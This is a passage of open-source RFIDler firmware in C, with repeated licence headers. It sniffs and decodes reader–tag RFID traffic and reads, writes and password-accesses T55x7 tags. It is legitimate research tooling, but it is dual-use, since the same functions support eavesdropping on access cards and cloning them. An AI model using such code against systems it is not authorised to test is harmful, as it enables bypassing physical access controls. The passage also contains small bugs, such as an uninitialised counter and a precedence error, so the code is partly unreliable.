* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitag.h"
// select specific tag for read/write operations
BOOL select_tag(BYTE *response, BYTE *uid)
{
BYTE tmp[MAXUID + 1];
if(strlen(uid) == 0)
{
if(!get_tag_uid(tmp))
return FALSE;
uid= tmp;
}
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_HITAG1:
return hitag1_select(response, uid);
break;
default:
return FALSE;
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/sniff.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "clock.h"
#include "comms.h"
#include "hitag.h"
#include "q5.h"
#include "sniff.h"
#include "tamagotchi.h"
#include "util.h"
// watch external clock for PWM messages
// specify minimum gap to look for in us
// minpulse width (for NFC mode)
// min gap between messages (for NFC mode)
// nfcmode => 2 active devices, skip waiting for reader clock to stabilise
void sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_TAMAGOTCHI:
nfcmode= TRUE;
if(!mingap)
mingap= 50;
if(!minpulse)
minpulse= 5;
if(!mesg_gap)
mesg_gap= 1000;
break;
default:
if(!mingap)
mingap= 12;
break;
}
do_sniff_pwm(mingap, minpulse, mesg_gap, nfcmode);
}
// watch external clock for PWM messages
// specify minimum gap to look for in uS
void do_sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode)
{
BOOL toggle;
BOOL abort= FALSE;
unsigned long count, pulsecount= 0L;
unsigned int len, gaps[DETECT_BUFFER_SIZE], pulses[DETECT_BUFFER_SIZE];
// make sure local clock isn't running & switch to input
stop_HW_clock();
COIL_MODE_READER();
READER_CLOCK_ENABLE_OFF(LOW);
toggle= SNIFFER_COIL;
// reader/tag mode - wait for 100 ticks to make sure we're settled
if (!nfcmode)
{
toggle= SNIFFER_COIL;
while(count < 100L)
{
while(SNIFFER_COIL == toggle)
// check for user abort
if(get_user_abort())
return;
++count;
toggle= !toggle;
}
}
// watch for gaps / pulses
len= 0;
GetTimer_us(RESET);
while(!abort)
{
unsigned int j = 0;
while(SNIFFER_COIL == toggle)
{
// check for user abort
if((abort= get_user_abort()))
break;
// iff mesg_gap parameter > 0 then look for inter-message gap
if ((pulsecount > 0) && (mesg_gap > 0) && (0 == (j++ % 8)))
{
count= GetTimer_us(NO_RESET);
if (count >= mesg_gap)
{
pulses[len]= pulsecount;
gaps[len++]= GetTimer_us(RESET);
pulsecount= 0L;
decode_pwm(pulses, gaps, len);
len= 0;
continue;
}
}
}
toggle= !toggle;
count= GetTimer_us(RESET);
// check if it was a gap
if (count > (unsigned long) mingap)
{
// ignore very small pulsecount when sniffing NFC
if (!nfcmode || (pulsecount > minpulse))
{
pulses[len]= (unsigned int) pulsecount;
gaps[len++]= (unsigned int) count;
pulsecount= 0L;
}
}
else
pulsecount += count;
if(len == DETECT_BUFFER_SIZE)
{
decode_pwm(pulses, gaps, len);
len= 0;
}
}
if (len > 0)
decode_pwm(pulses, gaps, len);
}
// values are in uS
void decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)
{
unsigned int i;
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_HITAG1:
hitag1_decode_pwm(pulses, gaps, count);
break;
case TAG_TYPE_HITAG2:
hitag2_decode_pwm(pulses, gaps, count);
break;
case TAG_TYPE_Q5:
case TAG_TYPE_T55X7:
q5_decode_pwm(pulses, gaps, count);
break;
case TAG_TYPE_TAMAGOTCHI:
tamagotchi_decode_pwm(pulses, gaps, count);
break;
default:
for(i= 0 ; i < count ; ++i)
{
UserMessageNum("\r\nPulse: %d ", pulses[i]);
UserMessageNum("Gap: %d", gaps[i]);
}
break;
}
UserMessage("%s", "\r\n");
}
// convert pwm array to human readable binary
// terminates at end of first sequence and returns number of samples processed
// pulse widths in uS
BYTE generic_decode_pwm(BYTE *result, unsigned int pulses[], unsigned int minpulse, unsigned int maxpulse, unsigned int gaps[], unsigned int mingap, unsigned int maxgap, unsigned int count)
{
unsigned int one, zero, i;
BOOL sequence= FALSE;
// first try to detect size of one and zero blocks
// short block is a zero, long is a one
for(i= 0, zero= 65535, one= 0 ; i < count ; ++i)
{
if(gaps[i] >= mingap && gaps[i] <= maxgap && pulses[i] > minpulse && pulses[i] <= maxpulse)
{
if(pulses[i] > one)
one= pulses[i];
if(pulses[i] < zero)
zero= pulses[i];
}
}
if(zero == 65535 || one == 0)
return 0;
// decode and return the first sequence
for(i= 0 ; i < count ; ++i)
{
if(gaps[i] >= mingap && gaps[i] <= maxgap)
{
if(pulses[i] <= maxpulse)
{
if(approx(pulses[i], zero, 20))
*(result++)= '0';
else
*(result++)= '1';
sequence= TRUE;
}
else
if(sequence)
{
*result= '\0';
return i + 1;
}
}
}
if(!sequence)
return 0;
*result= '\0';
return i;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/spi.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include "spi.h"
#include "HardwareProfile.h"
void initSpiTransfer(BYTE txByte, BYTE *rxByte)
{
SPI_POT_BUFF= txByte;
while(!SPI_POT_STAT.SPIRBF)
;
*rxByte= SPI_POT_BUFF;
}
void initSpiTransfer16(unsigned int txWord, unsigned int *rxWord)
{
SPI_POT_BUFF= txWord;
while(!SPI_POT_STAT.SPIRBF)
;
*rxWord= SPI_POT_BUFF;
}
BYTE sendSpiCommand(BYTE command, BYTE error_ok, unsigned int arglen, BYTE *arg, unsigned int retlen, BYTE *retdata)
{
unsigned int i;
// switch on device and give it time to wake up
//SPI_DEV_ENABLE();
SpiChnOpen(SPI_POT, SPI_OPEN_MODE8|SPI_OPEN_MSTEN|SPI_OPEN_MSSEN|SPI_OPEN_CKE_REV, 16); // 16 == 6mhz
initSpiTransfer(command, retdata);
// send command & check error status
if(*retdata & error_ok != error_ok)
{
SpiChnClose(SPI_POT);
return *retdata;
}
// send optional data
for(i= 0; i < arglen ; ++i)
initSpiTransfer(arg[i], retdata);
// get return by ticking clock on empty value
for (i= 0; i < retlen ; ++i)
initSpiTransfer(SPI_NULL, retdata + i);
SpiChnClose(SPI_POT);
return 0;
}
unsigned int sendSpiCommand16(unsigned int command, BYTE error_ok, unsigned int arglen, unsigned int *arg, unsigned int retlen, unsigned int *retdata)
{
unsigned int i;
// switch on device and give it time to wake up
//SPI_DEV_ENABLE();
SpiChnOpen(SPI_POT, SPI_OPEN_MODE16|SPI_OPEN_MSTEN|SPI_OPEN_MSSEN|SPI_OPEN_CKE_REV, 16); // 16 == 6mhz
initSpiTransfer16(command, retdata);
// send command & check error status
if(*retdata & error_ok != error_ok)
{
SpiChnClose(SPI_POT);
return *retdata;
}
// send optional data
for(i= 0; i < arglen ; ++i)
initSpiTransfer16(arg[i], retdata);
// get return by ticking clock on empty value
for (i= 0; i < retlen ; ++i)
initSpiTransfer16(SPI_NULL, retdata + i);
SpiChnClose(SPI_POT);
return 0;
}
void pauseSpi(void)
{
BYTE dummy;
// do nothing for one command-period
initSpiTransfer(SPI_NULL, &dummy);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/t55x7.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "t55x7.h"
#include "rwd.h"
#include "psk.h"
#include "util.h"
#include "comms.h"
#include "config.h"
const BYTE *T55x7_Compat_Modulation[]= {"NRZ/Direct", "PSK1", "PSK2", "PSK3", "FSK1", "FSK2", "FSK1a", "FSK2a", "Manchester"};
const BYTE T55x7_Compat_Data_Rates[]= {8, 16, 32, 40, 50, 64, 100, 128};
// response length in bits
BOOL t55x7_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length)
{
// send command
if(!rwd_send(command, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, T55X7_START_GAP - RFIDlerConfig.RWD_Gap_Period, 0, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
if(!response_length)
return TRUE;
// wait for T55x7 damping to kick in: t55x7 may create a false pulse during RWD receipt, so wait for it to recognise
// command and shut down before trying to read response.
GetTimer_us(RESET);
while(READER_DATA)
if(GetTimer_us(NO_RESET) > RFIDlerConfig.Timeout)
return FALSE;
// skip 4 bit Sequence Terminator pattern and leading '0'
HW_Skip_Bits= 10; // 10 primitive 'bits' manchester encoded
// DEBUG_PIN_4= !DEBUG_PIN_4;
// DEBUG_PIN_4= !DEBUG_PIN_4;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, HEX) == response_length)
{
// delay for RX->TX time
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);
return TRUE;
}
return FALSE;
}
// get raw UID
BOOL t55x7_get_uid(BYTE *response)
{
BYTE tmp[33]; // 16 hex digits
// t55x7 will be stuck if last command was a read or write, so always hard reset
stop_HW_clock();
// delay for sleep period
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Sleep_Period) / 100);
// delay for startup time
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
// t55x7 has fixed tracebility data - 2 x 32 bit blocks
if(t55x7_send_command(tmp, T55X7_GET_TRACE_DATA, strlen(T55X7_GET_TRACE_DATA), NO_RESET, SYNC, 64))
{
strcpy(response, tmp);
return TRUE;
}
return FALSE;
}
BOOL t55x7_read_block(BYTE *response, BYTE block)
{
BYTE tmp[39], retry, reset= FALSE;
if(block > T55X7_DATABLOCKS - 1)
return FALSE;
// create 6 or 38 bit command block: Q5_DIRECT_ACCESS + PWD_Mode + [PWD] + 3 bits address
memset(tmp, '\0', 39);
memcpy(tmp, T55X7_DIRECT_ACCESS, 2);
if(PWD_Mode)
{
tmp[2]= '1';
hextobinstring(tmp + 3, Password);
inttobinstring(tmp + 34, (unsigned int) block, 3);
}
else
{
tmp[2]= '0';
inttobinstring(tmp + 3, (unsigned int) block, 3);
}
retry= RFIDlerConfig.Repeat;
while(retry--)
{
//DEBUG_PIN_4= !DEBUG_PIN_4;
//DEBUG_PIN_4= !DEBUG_PIN_4;
if(t55x7_send_command(response, tmp, strlen(tmp), reset, NO_SYNC, 32))
return TRUE;
// try resetting tag
reset= TRUE;
}
return FALSE;
}
// optional verify as writing config block may casue next read to fail
BOOL t55x7_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify)
{
BYTE tmp[71], p;
if(block > T55X7_DATABLOCKS - 1)
return FALSE;
// create 38 or 70 bit command block: T55X7_STD_WRITE_P0 + [PWD] + Lock Bit + 32 bits Data + 3 bits address
memset(tmp, '\0', sizeof(tmp));
// command
memcpy(tmp, T55X7_STD_WRITE_P0, 2);
p= 2;
// password
if(PWD_Mode)
{
hextobinstring(tmp + p, Password);
p += 32;
}
// lockbit
inttobinstring(tmp + p, (unsigned int) lock, 1);
++p;
// data
hextobinstring(tmp + p, data);
p += T55X7_BLOCKSIZE;
// address
inttobinstring(tmp + p, (unsigned int) block, 3);
p += 3;
// send
if(!t55x7_send_command(NULL, tmp, strlen(tmp), NO_RESET, NO_SYNC, 0))
return FALSE;
// no ack, so read back and verify
// delay for long enough to allow write plus TX->RX period
Delay_us((T55X7_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_TX_RX * RFIDlerConfig.FrameClock) / 100L);
if(!verify)
return TRUE;
if(!t55x7_read_block(tmp, block))
return FALSE;
if(memcmp(tmp, data, HEXDIGITS(T55X7_BLOCKSIZE)) != 0)
return FALSE;
return TRUE;
}
// try to find values that correctly transmit all commands to t55x7
// so that a GET_UID command will return a true value
BOOL t55x7_rwd_test(BYTE *pattern)
{
BYTE gap, one, zero, i, tmp[T55X7_BLOCKSIZE * 2 + 1];
BOOL found= FALSE;
// min/max from datasheets
for(one= 48 ; one <= 63 ; ++one)
for(zero= 16; zero <= 31 ; ++zero)
for(gap= 8 ; gap <= 30 ; ++gap)
{
if(get_user_abort())
return found;
RFIDlerConfig.RWD_Gap_Period= gap;
RFIDlerConfig.RWD_One_Period= one;
RFIDlerConfig.RWD_Zero_Period= zero;
if(get_tag_uid(tmp))
{
UserMessageNum(" gap: %d", gap);
UserMessageNum(" one: %d", one);
UserMessageNum(" zero: %d", zero);
UserMessage(" UID: %s\r\n", tmp);
found= TRUE;
}
}
UserMessage("%s", "\r\n");
return found;
}
BOOL t55x7_config_block_show(BYTE *config, BYTE *password)
{
uint32_t value= hextoulong(config);
BOOL xmode;
UserMessage(" Config Block (0): %.8s\r\n\r\n", config);
UserMessageNum(" Master Key: %d = ", GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY));
if(GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY) == T55X7_COMPAT_MODE)
UserMessage("%s\r\n", "Compatibility Mode");
else
if(GET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY) == T55X7_XMODE_MODE)
UserMessage("%s\r\n", "Extended Mode");
else
UserMessage("%s\r\n", "Undefined Mode");
xmode= GET_CONFIG(value, T55X7_MASK_XMODE, T55X7_SHIFT_XMODE);
UserMessage(" X-Mode: %s\r\n", xmode ? "True" : "False");
// display additional/alternate fields if in xmode
if(xmode)
{
UserMessageNum(" Data Rate: %02d = ", GET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE));
UserMessageNum("%d * FC\r\n", GET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE) * 2 + 2);
UserMessageNum(" Modulation: %02d = ", GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION));
if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION) > 8)
{
if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== T55X7_MOD_BIPHASE_50)
UserMessage("%s\r\n", "BiPhase ('50)");
else
if (GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== T55X7_MOD_BIPHASE_57)
UserMessage("%s\r\n", "BiPhase ('57)");
else
UserMessage("%s\r\n", "Invalid");
}
else
